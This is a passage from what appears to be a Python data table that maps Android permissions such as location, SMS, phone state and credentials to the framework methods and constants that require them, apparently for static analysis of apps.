"(Landroid/content/Context; Landroid/webkit/WebView; Landroid/webkit/CallbackProxy; Ljava/util/Map;)"
),
],
"Ljava/net/URLConnection;": [
("F", "connect", "()"),
("F", "getInputStream", "()"),
],
"Landroid/app/Activity;": [
("F", "setContentView", "(I)"),
],
"Ljava/net/MulticastSocket;": [
("F", "<init>", "()"),
("F", "<init>", "(I)"),
("F", "<init>", "(Ljava/net/SocketAddress;)"),
],
"Lcom/android/http/multipart/StringPart;": [
("F", "sendData", "(Ljava/io/OuputStream;)"),
],
"Ljava/net/URL;": [
("F", "getContent", "([Ljava/lang/Class;)"),
("F", "getContent", "()"),
("F", "openConnection", "(Ljava/net/Proxy;)"),
("F", "openConnection", "()"),
("F", "openStream", "()"),
],
"Ljava/net/DatagramSocket;": [
("F", "<init>", "()"),
("F", "<init>", "(I)"),
("F", "<init>", "(I Ljava/net/InetAddress;)"),
("F", "<init>", "(Ljava/net/SocketAddress;)"),
],
"Ljava/net/ServerSocket;": [
("F", "<init>", "()"),
("F", "<init>", "(I)"),
("F", "<init>", "(I I)"),
("F", "<init>", "(I I Ljava/net/InetAddress;)"),
("F", "bind", "(Ljava/net/SocketAddress;)"),
("F", "bind", "(Ljava/net/SocketAddress; I)"),
],
"Ljava/net/Socket;": [
("F", "<init>", "()"),
("F", "<init>", "(Ljava/lang/String; I)"),
("F", "<init>", "(Ljava/lang/String; I Ljava/net/InetAddress; I)"),
("F", "<init>", "(Ljava/lang/String; I B)"),
("F", "<init>", "(Ljava/net/InetAddress; I)"),
("F", "<init>",
"(Ljava/net/InetAddress; I Ljava/net/InetAddress; I)"),
("F", "<init>", "(Ljava/net/InetAddress; I B)"),
],
"Landroid/webkit/WebView;": [
("F", "<init>",
"(Landroid/content/Context; Landroid/util/AttributeSet; I)"),
("F", "<init>",
"(Landroid/content/Context; Landroid/util/AttributeSet;)"),
("F", "<init>", "(Landroid/content/Context;)"),
],
"Ljava/net/NetworkInterface;": [
("F", "<init>", "()"),
("F", "<init>", "(Ljava/lang/String; I Ljava/net/InetAddress;)"),
],
},
"ACCESS_FINE_LOCATION": {
"Landroid/webkit/WebChromeClient;": [
("F", "onGeolocationPermissionsShowPrompt",
"(Ljava/lang/String; Landroid/webkit/GeolocationPermissions/Callback;)"
),
],
"Landroid/location/LocationManager;": [
("C", "GPS_PROVIDER", "Ljava/lang/String;"),
("C", "NETWORK_PROVIDER", "Ljava/lang/String;"),
("C", "PASSIVE_PROVIDER", "Ljava/lang/String;"),
("F", "addGpsStatusListener",
"(Landroid/location/GpsStatus/Listener;)"),
("F", "addNmeaListener",
"(Landroid/location/GpsStatus/NmeaListener;)"),
("F", "_requestLocationUpdates",
"(Ljava/lang/String; J F Landroid/app/PendingIntent;)"),
("F", "_requestLocationUpdates",
"(Ljava/lang/String; J F Landroid/location/LocationListener; Landroid/os/Looper;)"
),
("F", "addGpsStatusListener",
"(Landroid/location/GpsStatus$Listener;)"),
("F", "addNmeaListener",
"(Landroid/location/GpsStatus$NmeaListener;)"),
("F", "addProximityAlert", "(D D F J Landroid/app/PendingIntent;)"),
("F", "best", "(Ljava/util/List;)"),
("F", "getBestProvider", "(Landroid/location/Criteria; B)"),
("F", "getLastKnownLocation", "(Ljava/lang/String;)"),
("F", "getProvider", "(Ljava/lang/String;)"),
("F", "getProviders", "(Landroid/location/Criteria; B)"),
("F", "getProviders", "(B)"),
("F", "isProviderEnabled", "(Ljava/lang/String;)"),
("F", "requestLocationUpdates",
"(Ljava/lang/String; J F Landroid/app/PendingIntent;)"),
("F", "requestLocationUpdates",
"(Ljava/lang/String; J F Landroid/location/LocationListener; Landroid/os/Looper;)"
),
("F", "requestLocationUpdates",
"(Ljava/lang/String; J F Landroid/location/LocationListener;)"),
("F", "sendExtraCommand",
"(Ljava/lang/String; Ljava/lang/String; Landroid/os/Bundle;)"),
],
"Landroid/webkit/GeolocationService;": [
("F", "registerForLocationUpdates", "()"),
("F", "setEnableGps", "(B)"),
("F", "start", "()"),
],
"Landroid/telephony/TelephonyManager;": [
("F", "getCellLocation", "()"),
("F", "getCellLocation", "()"),
("F", "getNeighboringCellInfo", "()"),
],
"Landroid/location/ILocationManager$Stub$Proxy;": [
("F", "addGpsStatusListener",
"(Landroid/location/IGpsStatusListener;)"),
("F", "addProximityAlert", "(D D F J Landroid/app/PendingIntent;)"),
("F", "getLastKnownLocation", "(Ljava/lang/String;)"),
("F", "getProviderInfo", "(Ljava/lang/String;)"),
("F", "getProviders", "(B)"),
("F", "isProviderEnabled", "(Ljava/lang/String;)"),
("F", "requestLocationUpdates",
"(Ljava/lang/String; J F Landroid/location/ILocationListener;)"),
("F", "requestLocationUpdatesPI",
"(Ljava/lang/String; J F Landroid/app/PendingIntent;)"),
("F", "sendExtraCommand",
"(Ljava/lang/String; Ljava/lang/String; Landroid/os/Bundle;)"),
],
"Lcom/android/internal/telephony/ITelephony$Stub$Proxy;": [
("F", "getCellLocation", "()"),
("F", "getNeighboringCellInfo", "()"),
],
"Landroid/webkit/GeolocationPermissions$Callback;": [
("F", "invok", "()"),
],
},
"READ_SMS": {
"Landroid/provider/Telephony$Sms$Inbox;": [
("F", "addMessage",
"(Landroid/content/ContentResolver; Ljava/lang/String; Ljava/lang/String; Ljava/lang/String; Ljava/lang/Long; B)"
),
],
"Landroid/provider/Telephony$Threads;": [
("F", "getOrCreateThreadId",
"(Landroid/content/Context; Ljava/lang/String;)"),
("F", "getOrCreateThreadId",
"(Landroid/content/Context; Ljava/util/Set;)"),
],
"Landroid/provider/Telephony$Mms;": [
("F", "query",
"(Landroid/content/ContentResolver; [L[Ljava/lang/Strin; Ljava/lang/String; Ljava/lang/String;)"
),
("F", "query",
"(Landroid/content/ContentResolver; [L[Ljava/lang/Strin;)"),
],
"Landroid/provider/Telephony$Sms$Draft;": [
("F", "addMessage",
"(Landroid/content/ContentResolver; Ljava/lang/String; Ljava/lang/String; Ljava/lang/String; Ljava/lang/Long;)"
),
],
"Landroid/provider/Telephony$Sms$Sent;": [
("F", "addMessage",
"(Landroid/content/ContentResolver; Ljava/lang/String; Ljava/lang/String; Ljava/lang/String; Ljava/lang/Long;)"
),
],
"Landroid/provider/Telephony$Sms;": [
("F", "query",
"(Landroid/content/ContentResolver; [L[Ljava/lang/Strin; Ljava/lang/String; Ljava/lang/String;)"
),
("F", "query",
"(Landroid/content/ContentResolver; [L[Ljava/lang/Strin;)"),
],
},
"ACCESS_SURFACE_FLINGER": {
"Landroid/view/SurfaceSession;": [
("F", "<init>", "()"),
],
"Landroid/view/Surface;": [
("F", "closeTransaction", "()"),
("F", "freezeDisplay", "(I)"),
("F", "setOrientation", "(I I I)"),
("F", "setOrientation", "(I I)"),
("F", "unfreezeDisplay", "(I)"),
],
},
"REORDER_TASKS": {
"Landroid/app/IActivityManager$Stub$Proxy;": [
("F", "moveTaskBackwards", "(I)"),
("F", "moveTaskToBack", "(I)"),
("F", "moveTaskToFront", "(I)"),
],
"Landroid/app/ActivityManager;": [
("F", "moveTaskToFront", "(I I)"),
],
},
"MODIFY_AUDIO_SETTINGS": {
"Landroid/net/sip/SipAudioCall;": [
("F", "setSpeakerMode", "(B)"),
],
"Landroid/server/BluetoothA2dpService;": [
("F", "checkSinkSuspendState", "(I)"),
("F", "handleSinkStateChange",
"(Landroid/bluetooth/BluetoothDevice;)"),
("F", "onBluetoothDisable", "()"),
("F", "onBluetoothEnable", "()"),
],
"Landroid/media/IAudioService$Stub$Proxy;": [
("F", "setBluetoothScoOn", "(B)"),
("F", "setMode", "(I Landroid/os/IBinder;)"),
("F", "setSpeakerphoneOn", "(B)"),
("F", "startBluetoothSco", "(Landroid/os/IBinder;)"),
("F", "stopBluetoothSco", "(Landroid/os/IBinder;)"),
],
"Landroid/media/AudioService;": [
("F", "setBluetoothScoOn", "(B)"),
("F", "setMode", "(I Landroid/os/IBinder;)"),
("F", "setSpeakerphoneOn", "(B)"),
("F", "startBluetoothSco", "(Landroid/os/IBinder;)"),
("F", "stopBluetoothSco", "(Landroid/os/IBinder;)"),
],
"Landroid/media/AudioManager;": [
("F", "startBluetoothSco", "()"),
("F", "stopBluetoothSco", "()"),
("F", "isBluetoothA2dpOn", "()"),
("F", "isWiredHeadsetOn", "()"),
("F", "setBluetoothScoOn", "(B)"),
("F", "setMicrophoneMute", "(B)"),
("F", "setMode", "(I)"),
("F", "setParameter", "(Ljava/lang/String; Ljava/lang/String;)"),
("F", "setParameters", "(Ljava/lang/String;)"),
("F", "setSpeakerphoneOn", "(B)"),
("F", "startBluetoothSco", "()"),
("F", "stopBluetoothSco", "()"),
],
},
"READ_PHONE_STATE": {
"Lcom/android/internal/telephony/IPhoneSubInfo$Stub$Proxy;": [
("F", "getDeviceId", "()"),
("F", "getDeviceSvn", "()"),
("F", "getIccSerialNumber", "()"),
("F", "getLine1AlphaTag", "()"),
("F", "getLine1Number", "()"),
("F", "getSubscriberId", "()"),
("F", "getVoiceMailAlphaTag", "()"),
("F", "getVoiceMailNumber", "()"),
],
"Landroid/telephony/PhoneStateListener;": [
("C", "LISTEN_CALL_FORWARDING_INDICATOR", "I"),
("C", "LISTEN_CALL_STATE", "I"),
("C", "LISTEN_DATA_ACTIVITY", "I"),
("C", "LISTEN_MESSAGE_WAITING_INDICATOR", "I"),
("C", "LISTEN_SIGNAL_STRENGTH", "I"),
],
"Landroid/accounts/AccountManagerService$SimWatcher;": [
("F", "onReceive",
"(Landroid/content/Context; Landroid/content/Intent;)"),
],
"Lcom/android/internal/telephony/CallerInfo;": [
("F", "markAsVoiceMail", "()"),
],
"Landroid/os/Build/VERSION_CODES;": [
("C", "DONUT", "I"),
],
"Landroid/telephony/TelephonyManager;": [
("C", "ACTION_PHONE_STATE_CHANGED", "Ljava/lang/String;"),
("F", "getDeviceId", "()"),
("F", "getDeviceSoftwareVersion", "()"),
("F", "getLine1Number", "()"),
("F", "getSimSerialNumber", "()"),
("F", "getSubscriberId", "()"),
("F", "getVoiceMailAlphaTag", "()"),
("F", "getVoiceMailNumber", "()"),
("F", "getDeviceId", "()"),
("F", "getDeviceSoftwareVersion", "()"),
("F", "getLine1AlphaTag", "()"),
("F", "getLine1Number", "()"),
("F", "getSimSerialNumber", "()"),
("F", "getSubscriberId", "()"),
("F", "getVoiceMailAlphaTag", "()"),
("F", "getVoiceMailNumber", "()"),
("F", "listen", "(Landroid/telephony/PhoneStateListener; I)"),
],
"Lcom/android/internal/telephony/ITelephonyRegistry$Stub$Proxy;": [
("F", "listen",
"(Ljava/lang/String; Lcom/android/internal/telephony/IPhoneStateListener; I B)"
),
],
"Landroid/telephony/PhoneNumberUtils;": [
("F", "isVoiceMailNumber", "(Ljava/lang/String;)"),
],
"Lcom/android/internal/telephony/ITelephony$Stub$Proxy;": [
("F", "isSimPinEnabled", "()"),
],
},
"WRITE_SETTINGS": {
"Landroid/media/RingtoneManager;": [
("F", "setActualDefaultRingtoneUri",
"(Landroid/content/Context; I Landroid/net/Uri;)"),
],
"Landroid/os/IPowerManager$Stub$Proxy;": [
("F", "setStayOnSetting", "(I)"),
],
"Landroid/server/BluetoothService;": [
("F", "persistBluetoothOnSetting", "(B)"),
],
"Landroid/provider/Settings$Secure;": [
("F", "putFloat",
"(Landroid/content/ContentResolver; Ljava/lang/String; F)"),
("F", "putInt",
"(Landroid/content/ContentResolver; Ljava/lang/String; I)"),
("F", "putLong",
"(Landroid/content/ContentResolver; Ljava/lang/String; J)"),
("F", "putString",
"(Landroid/content/ContentResolver; Ljava/lang/String; Ljava/lang/String;)"
),
("F", "setLocationProviderEnabled",
"(Landroid/content/ContentResolver; Ljava/lang/String; B)"),
],
"Landroid/provider/Settings$Bookmarks;": [
("F", "add",
"(Landroid/content/ContentResolver; Landroid/content/Intent; Ljava/lang/String; Ljava/lang/String; C I)"
),
("F", "getIntentForShortcut",
"(Landroid/content/ContentResolver; C)"),
],
"Landroid/os/IMountService$Stub$Proxy;": [
("F", "setAutoStartUm", "()"),
("F", "setPlayNotificationSound", "()"),
],
"Landroid/provider/Settings$System;": [
("F", "putConfiguration",
"(Landroid/content/ContentResolver; Landroid/content/res/Configuration;)"
),
("F", "putFloat",
"(Landroid/content/ContentResolver; Ljava/lang/String; F)"),
("F", "putInt",
"(Landroid/content/ContentResolver; Ljava/lang/String; I)"),
("F", "putLong",
"(Landroid/content/ContentResolver; Ljava/lang/String; J)"),
("F", "putString",
"(Landroid/content/ContentResolver; Ljava/lang/String; Ljava/lang/String;)"
),
("F", "setShowGTalkServiceStatus",
"(Landroid/content/ContentResolver; B)"),
],
},
"BIND_WALLPAPER": {
"Landroid/service/wallpaper/WallpaperService;": [
("C", "SERVICE_INTERFACE", "Ljava/lang/String;"),
],
"Lcom/android/server/WallpaperManagerService;": [
("F", "bindWallpaperComponentLocked",
"(Landroid/content/ComponentName;)"),
],
},
"DUMP": {
"Landroid/content/ContentService;": [
("F", "dump",
"(Ljava/io/FileDescriptor; Ljava/io/PrintWriter; [L[Ljava/lang/Strin;)"
),
],
"Landroid/view/IWindowManager$Stub$Proxy;": [
("F", "isViewServerRunning", "()"),
("F", "startViewServer", "(I)"),
("F", "stopViewServer", "()"),
],
"Landroid/os/Debug;": [
("F", "dumpService",
"(Ljava/lang/String; Ljava/io/FileDescriptor; [Ljava/lang/String;)"
),
],
"Landroid/os/IBinder;": [
("C", "DUMP_TRANSACTION", "I"),
],
"Lcom/android/server/WallpaperManagerService;": [
("F", "dump",
"(Ljava/io/FileDescriptor; Ljava/io/PrintWriter; [L[Ljava/lang/Stri;)"
),
],
},
"USE_CREDENTIALS": {
"Landroid/accounts/AccountManager;": [
("F", "blockingGetAuthToken",
"(Landroid/accounts/Account; Ljava/lang/String; B)"),
("F", "getAuthToken",
"(Landroid/accounts/Account; Ljava/lang/String; Landroid/os/Bundle; Landroid/app/Activity; Landroid/accounts/AccountManagerCallback<android/os/Bundle>; Landroid/os/Handler;)"
),
("F", "getAuthToken",
"(Landroid/accounts/Account; Ljava/lang/String; B Landroid/accounts/AccountManagerCallback<android/os/Bundle>; Landroid/os/Handler;)"
),
("F", "invalidateAuthToken",
"(Ljava/lang/String; Ljava/lang/String;)"),
("F", "blockingGetAuthToken",
"(Landroid/accounts/Account; Ljava/lang/String; B)"),
("F", "getAuthToken",
"(Landroid/accounts/Account; Ljava/lang/String; Landroid/os/Bundle; Landroid/app/Activity; Landroid/accounts/AccountManagerCallback; Landroid/os/Handler;)"
),
("F", "getAuthToken",
"(Landroid/accounts/Account; Ljava/lang/String; B Landroid/accounts/AccountManagerCallback; Landroid/os/Handler;)"
),
],
"Landroid/accounts/AccountManagerService;": [
("F", "getAuthToken",
"(Landroid/accounts/IAccountManagerResponse; Landroid/accounts/Account; Ljava/lang/String; B B Landroid/os/Bundle;)"
),
],
"Landroid/accounts/IAccountManager$Stub$Proxy;": [
("F", "getAuthToken",
"(Landroid/accounts/IAccountManagerResponse; Landroid/accounts/Account; Ljava/lang/String; B B Landroid/os/Bundle;)"
),
],
},
"UPDATE_DEVICE_STATS": {
"Lcom/android/internal/app/IUsageStats$Stub$Proxy;": [
("F", "notePauseComponent", "(LComponentName;)"),
("F", "noteResumeComponent", "(LComponentName;)"),
],
"Lcom/android/internal/app/IBatteryStats$Stub$Proxy;": [
("F", "noteFullWifiLockAcquired", "(I)"),
("F", "noteFullWifiLockReleased", "(I)"),
("F", "noteInputEvent", "()"),
("F", "notePhoneDataConnectionState", "(I B)"),
("F", "notePhoneOff", "()"),
("F", "notePhoneOn", "()"),
("F", "notePhoneSignalStrength", "(LSignalStrength;)"),
("F", "notePhoneState", "(I)"),
("F", "noteScanWifiLockAcquired", "(I)"),
("F", "noteScanWifiLockReleased", "(I)"),
("F", "noteScreenBrightness", "(I)"),
("F", "noteScreenOff", "()"),
("F", "noteScreenOn", "()"),
("F", "noteStartGps", "(I)"),
("F", "noteStartSensor", "(I I)"),
("F", "noteStartWakelock", "(I Ljava/lang/String; I)"),
("F", "noteStopGps", "(I)"),
("F", "noteStopSensor", "(I I)"),
("F", "noteStopWakelock", "(I Ljava/lang/String; I)"),
("F", "noteUserActivity", "(I I)"),
("F", "noteWifiMulticastDisabled", "(I)"),
("F", "noteWifiMulticastEnabled", "(I)"),
("F", "noteWifiOff", "(I)"),
("F", "noteWifiOn", "(I)"),
("F", "noteWifiRunning", "()"),
("F", "noteWifiStopped", "()"),
("F", "recordCurrentLevel", "(I)"),
("F", "setOnBattery", "(B I)"),
],
},
"SEND_SMS": {
"Landroid/telephony/gsm/SmsManager;": [
("F", "getDefault", "()"),
("F", "sendDataMessage",
"(Ljava/lang/String; Ljava/lang/String; S [B Landroid/app/PendingIntent; Landroid/app/PendingIntent;)"
),
("F", "sendTextMessage",
"(Ljava/lang/String; Ljava/lang/String; Ljava/lang/String; Landroid/app/PendingIntent; Landroid/app/PendingIntent;)"
),
("F", "sendDataMessage",
"(Ljava/lang/String; Ljava/lang/String; S [L; Landroid/app/PendingIntent; Landroid/app/PendingIntent;)"
),
("F", "sendMultipartTextMessage",
"(Ljava/lang/String; Ljava/lang/String; Ljava/util/ArrayList; Ljava/util/ArrayList; Ljava/util/ArrayList;)"
),
("F", "sendTextMessage",
"(Ljava/lang/String; Ljava/lang/String; Ljava/lang/String; Landroid/app/PendingIntent; Landroid/app/PendingIntent;)"
),
],
"Landroid/telephony/SmsManager;": [
("F", "getDefault", "()"),
("F", "sendDataMessage",
"(Ljava/lang/String; Ljava/lang/String; S [B Landroid/app/PendingIntent; Landroid/app/PendingIntent;)"
),
("F", "sendTextMessage",
"(Ljava/lang/String; Ljava/lang/String; Ljava/lang/String; Landroid/app/PendingIntent; Landroid/app/PendingIntent;)"
),
("F", "sendDataMessage",
"(Ljava/lang/String; Ljava/lang/String; S [L; Landroid/app/PendingIntent; Landroid/app/PendingIntent;)"
),
("F", "sendMultipartTextMessage",
"(Ljava/lang/String; Ljava/lang/String; Ljava/util/ArrayList; Ljava/util/ArrayList; Ljava/util/ArrayList;)"
),
("F", "sendTextMessage",
"(Ljava/lang/String; Ljava/lang/String; Ljava/lang/String; Landroid/app/PendingIntent; Landroid/app/PendingIntent;)"
),
],
"Lcom/android/internal/telephony/ISms$Stub$Proxy;": [
("F", "sendData",
"(Ljava/lang/String; Ljava/lang/String; I [B Landroid/app/PendingIntent; Landroid/app/PendingIntent;)"
),
("F", "sendMultipartText",
"(Ljava/lang/String; Ljava/lang/String; Ljava/util/List; Ljava/util/List; Ljava/util/List;)"
),
("F", "sendText",
"(Ljava/lang/String; Ljava/lang/String; Ljava/lang/String; Landroid/app/PendingIntent; Landroid/app/PendingIntent;)"
),
],
},
"WRITE_USER_DICTIONARY": {
"Landroid/provider/UserDictionary$Words;": [
("F", "addWord",
"(Landroid/content/Context; Ljava/lang/String; I I)"),
],
},
"ACCESS_COARSE_LOCATION": {
"Landroid/telephony/TelephonyManager;": [
("F", "getCellLocation", "()"),
],
"Landroid/telephony/PhoneStateListener;": [
("C", "LISTEN_CELL_LOCATION", "I"),
],
"Landroid/location/LocationManager;": [
("C", "NETWORK_PROVIDER", "Ljava/lang/String;"),
],
},
"ASEC_RENAME": {
"Landroid/os/storage/IMountService$Stub$Proxy;": [
("F", "renameSecureContainer",
"(Ljava/lang/String; Ljava/lang/String;)"),
],
},
"SYSTEM_ALERT_WINDOW": {
"Landroid/view/IWindowSession$Stub$Proxy;": [
("F", "add",
"(Landroid/view/IWindow; Landroid/view/WindowManager$LayoutParams; I Landroid/graphics/Rect;)"
),
],
},
"CHANGE_WIFI_MULTICAST_STATE": {
"Landroid/net/wifi/IWifiManager$Stub$Proxy;": [
("F", "acquireMulticastLock",
"(Landroid/os/IBinder; Ljava/lang/String;)"),
("F", "initializeMulticastFiltering", "()"),
("F", "releaseMulticastLock", "()"),
],
"Landroid/net/wifi/WifiManager$MulticastLock;": [
("F", "acquire", "()"),
("F", "finalize", "()"),
("F", "release", "()"),
],
"Landroid/net/wifi/WifiManager;": [
("F", "initializeMulticastFiltering", "()"),
],
},
"RECEIVE_BOOT_COMPLETED": {
"Landroid/content/Intent;": [
("C", "ACTION_BOOT_COMPLETED", "Ljava/lang/String;"),
],
},
"SET_ALARM": {
"Landroid/provider/AlarmClock;": [
("C", "ACTION_SET_ALARM", "Ljava/lang/String;"),
("C", "EXTRA_HOUR", "Ljava/lang/String;"),
("C", "EXTRA_MESSAGE", "Ljava/lang/String;"),
("C", "EXTRA_MINUTES", "Ljava/lang/String;"),
("C", "EXTRA_SKIP_UI", "Ljava/lang/String;"),
],
},
"WRITE_CONTACTS": {
"Lcom/android/internal/telephony/IccPhoneBookInterfaceManager$Stub$Proxy;":
[
("F", "updateAdnRecordsInEfByIndex",
"(I Ljava/lang/String; Ljava/lang/String; Ljava/lang/String;)"),
("F", "updateAdnRecordsInEfBySearch",
"(I Ljava/lang/String; Ljava/lang/String; Ljava/lang/String; Ljava/lang/String; Ljava/lang/String;)"
),
],
"Landroid/provider/Contacts$People;": [
("F", "addToGroup", "(Landroid/content/ContentResolver; J J)"),
],
"Landroid/provider/ContactsContract$Contacts;": [
("F", "markAsContacted", "(Landroid/content/ContentResolver; J)"),
],
"Landroid/provider/Contacts$Settings;": [
("F", "setSetting",
"(Landroid/content/ContentResolver; Ljava/lang/String; Ljava/lang/String; Ljava/lang/String;)"
),
],
"Lcom/android/internal/telephony/IIccPhoneBook$Stub$Proxy;": [
("F", "updateAdnRecordsInEfByIndex",
"(I Ljava/lang/String; Ljava/lang/String; Ljava/lang/String;)"),
("F", "updateAdnRecordsInEfBySearch",
"(I Ljava/lang/String; Ljava/lang/String; Ljava/lang/String; Ljava/lang/String; Ljava/lang/String;)"
),
],
"Landroid/provider/CallLog$Calls;": [
("F", "removeExpiredEntries", "(Landroid/content/Context;)"),
],
"Landroid/pim/vcard/VCardEntryCommitter;": [
("F", "onEntryCreated", "(Landroid/pim/vcard/VCardEntry;)"),
],
"Landroid/pim/vcard/VCardEntryHandler;": [
("F", "onEntryCreated", "(Landroid/pim/vcard/VCardEntry;)"),
],
"Landroid/pim/vcard/VCardEntry;": [
("F", "pushIntoContentResolver",
"(Landroid/content/ContentResolver;)"),
],
},
"PROCESS_OUTGOING_CALLS": {
"Landroid/content/Intent;": [
("C", "ACTION_NEW_OUTGOING_CALL", "Ljava/lang/String;"),
],
},
"EXPAND_STATUS_BAR": {
"Landroid/app/StatusBarManager;": [
("F", "collapse", "()"),
("F", "expand", "()"),
("F", "toggle", "()"),
],
"Landroid/app/IStatusBar$Stub$Proxy;": [
("F", "activate", "()"),
("F", "deactivate", "()"),
("F", "toggle", "()"),
],
},
"MODIFY_PHONE_STATE": {
"Lcom/android/internal/telephony/ITelephony$Stub$Proxy;": [
("F", "answerRingingCall", "()"),
("F", "cancelMissedCallsNotification", "()"),
("F", "disableApnType", "(Ljava/lang/String;)"),
("F", "disableDataConnectivity", "()"),
("F", "enableApnType", "(Ljava/lang/String;)"),
("F", "enableDataConnectivity", "()"),
("F", "handlePinMmi", "(Ljava/lang/String;)"),
("F", "setRadio", "(B)"),
("F", "silenceRinger", "()"),
("F", "supplyPin", "(Ljava/lang/String;)"),
("F", "toggleRadioOnOff", "()"),
],
"Landroid/net/MobileDataStateTracker;": [
("F", "reconnect", "()"),
("F", "setRadio", "(B)"),
("F", "teardown", "()"),
],
"Lcom/android/internal/telephony/ITelephonyRegistry$Stub$Proxy;": [
("F", "notifyCallForwardingChanged", "(B)"),
("F", "notifyCallState", "(I Ljava/lang/String;)"),
("F", "notifyCellLocation", "(Landroid/os/Bundle;)"),
("F", "notifyDataActivity", "(I)"),
("F", "notifyDataConnection",
"(I B Ljava/lang/String; Ljava/lang/String; [Ljava/lang/String; Ljava/lang/String; I)"
),
("F", "notifyDataConnectionFailed", "(Ljava/lang/String;)"),
("F", "notifyMessageWaitingChanged", "(B)"),
("F", "notifyServiceState", "(Landroid/telephony/ServiceState;)"),
("F", "notifySignalStrength", "(Landroid/telephony/SignalStrength;)"
),
],
},
"MOUNT_FORMAT_FILESYSTEMS": {
"Landroid/os/IMountService$Stub$Proxy;": [
("F", "formatMedi", "()"),
],
"Landroid/os/storage/IMountService$Stub$Proxy;": [
("F", "formatVolume", "(Ljava/lang/String;)"),
],
},
"ACCESS_DOWNLOAD_MANAGER": {
"Landroid/net/Downloads$DownloadBase;": [
("F", "startDownloadByUri",
"(Landroid/content/Context; Ljava/lang/String; Ljava/lang/String; B I B B Ljava/lang/String; Ljava/lang/String; Ljava/lang/String; Ljava/lang/String;)"
),
],
"Landroid/net/Downloads$ByUri;": [
("F", "getCurrentOtaDownloads",
"(Landroid/content/Context; Ljava/lang/String;)"),
("F", "getProgressCursor", "(Landroid/content/Context; J)"),
("F", "getStatus",
"(Landroid/content/Context; Ljava/lang/String; J)"),
("F", "removeAllDownloadsByPackage",
"(Landroid/content/Context; Ljava/lang/String; Ljava/lang/String;)"
),
("F", "startDownloadByUri",
"(Landroid/content/Context; Ljava/lang/String; Ljava/lang/String; B I B B Ljava/lang/String; Ljava/lang/String; Ljava/lang/String; Ljava/lang/String;)"
),
],
"Landroid/net/Downloads$ById;": [
("F", "deleteDownload", "(Landroid/content/Context; J)"),
("F", "getMimeTypeForId", "(Landroid/content/Context; J)"),
("F", "getStatus", "(Landroid/content/Context; J)"),
("F", "openDownload",
"(Landroid/content/Context; J Ljava/lang/String;)"),
("F", "openDownloadStream", "(Landroid/content/Context; J)"),
("F", "startDownloadByUri",
"(Landroid/content/Context; Ljava/lang/String; Ljava/lang/String; B I B B Ljava/lang/String; Ljava/lang/String; Ljava/lang/String; Ljava/lang/String;)"
),
],
},
"READ_INPUT_STATE": {
"Landroid/view/IWindowManager$Stub$Proxy;": [
("F", "getDPadKeycodeState", "(I)"),
("F", "getDPadScancodeState", "(I)"),
("F", "getKeycodeState", "(I)"),
("F", "getKeycodeStateForDevice", "(I I)"),
("F", "getScancodeState", "(I)"),
("F", "getScancodeStateForDevice", "(I I)"),
("F", "getSwitchState", "(I)"),
("F", "getSwitchStateForDevice", "(I I)"),
("F", "getTrackballKeycodeState", "(I)"),
("F", "getTrackballScancodeState", "(I)"),
],
},
"READ_SYNC_STATS": {
"Landroid/app/ContextImpl$ApplicationContentResolver;": [
("F", "getCurrentSync", "()"),
("F", "getSyncStatus",
"(Landroid/accounts/Account; Ljava/lang/String;)"),
("F", "isSyncActive",
"(Landroid/accounts/Account; Ljava/lang/String;)"),
("F", "isSyncPending",
"(Landroid/accounts/Account; Ljava/lang/String;)"),
],
"Landroid/content/ContentService;": [
("F", "getCurrentSync", "()"),
("F", "getSyncStatus",
"(Landroid/accounts/Account; Ljava/lang/String;)"),
("F", "isSyncActive",
"(Landroid/accounts/Account; Ljava/lang/String;)"),
("F", "isSyncPending",
"(Landroid/accounts/Account; Ljava/lang/String;)"),
],
"Landroid/content/ContentResolver;": [
("F", "getCurrentSync", "()"),
("F", "getSyncStatus",
"(Landroid/accounts/Account; Ljava/lang/String;)"),
("F", "isSyncActive",
"(Landroid/accounts/Account; Ljava/lang/String;)"),
("F", "isSyncPending",
"(Landroid/accounts/Account; Ljava/lang/String;)"),
],
"Landroid/content/IContentService$Stub$Proxy;": [
("F", "getCurrentSync", "()"),
("F", "getSyncStatus",
"(Landroid/accounts/Account; Ljava/lang/String;)"),
("F", "isSyncActive",
"(Landroid/accounts/Account; Ljava/lang/String;)"),
("F", "isSyncPending",
"(Landroid/accounts/Account; Ljava/lang/String;)"),
],
},
"SET_TIME": {
"Landroid/app/AlarmManager;": [
("F", "setTime", "(J)"),
("F", "setTimeZone", "(Ljava/lang/String;)"),
("F", "setTime", "(J)"),
],
"Landroid/app/IAlarmManager$Stub$Proxy;": [
("F", "setTime", "(J)"),
],
},
"CHANGE_WIMAX_STATE": {
"Lcom/htc/net/wimax/WimaxController$Stub$Proxy;": [
("F", "setWimaxEnable", "()"),
],
},
"MOUNT_UNMOUNT_FILESYSTEMS": {
"Landroid/os/IMountService$Stub$Proxy;": [
("F", "mountMedi", "()"),
("F", "unmountMedi", "()"),
],
"Landroid/os/storage/IMountService$Stub$Proxy;": [
("F", "getStorageUsers", "(Ljava/lang/String;)"),
("F", "mountVolume", "(Ljava/lang/String;)"),
("F", "setUsbMassStorageEnabled", "(B)"),
("F", "unmountVolume", "(Ljava/lang/String; B)"),
],
"Landroid/os/storage/StorageManager;": [
("F", "disableUsbMassStorage", "()"),
("F", "enableUsbMassStorage", "()"),
],
},
"MOVE_PACKAGE": {
"Landroid/app/ContextImpl$ApplicationPackageManager;": [
("F", "movePackage", "(Ljava/lang/String; LIPackageMoveObserver; I)"
),
("F", "movePackage", "(Ljava/lang/String; LIPackageMoveObserver; I)"
),
],
"Landroid/content/pm/PackageManager;": [
("F", "movePackage", "(Ljava/lang/String; LIPackageMoveObserver; I)"
),
],
"Landroid/content/pm/IPackageManager$Stub$Proxy;": [
("F", "movePackage",
"(Ljava/lang/String; Landroid/content/pm/IPackageMoveObserver; I)"
),
],
},
"ACCESS_WIMAX_STATE": {
"Lcom/htc/net/wimax/WimaxController$Stub$Proxy;": [
("F", "getConnectionInf", "()"),
("F", "getWimaxStat", "()"),
("F", "isBackoffStat", "()"),
("F", "isWimaxEnable", "()"),
],
},
"ACCESS_WIFI_STATE": {
"Landroid/net/sip/SipAudioCall;": [
("F", "startAudio", "()"),
],
"Landroid/net/wifi/IWifiManager$Stub$Proxy;": [
("F", "getConfiguredNetworks", "()"),
("F", "getConnectionInfo", "()"),
("F", "getDhcpInfo", "()"),
("F", "getNumAllowedChannels", "()"),
("F", "getScanResults", "()"),
("F", "getValidChannelCounts", "()"),
("F", "getWifiApEnabledState", "()"),
("F", "getWifiEnabledState", "()"),
("F", "isMulticastEnabled", "()"),
],
"Landroid/net/wifi/WifiManager;": [
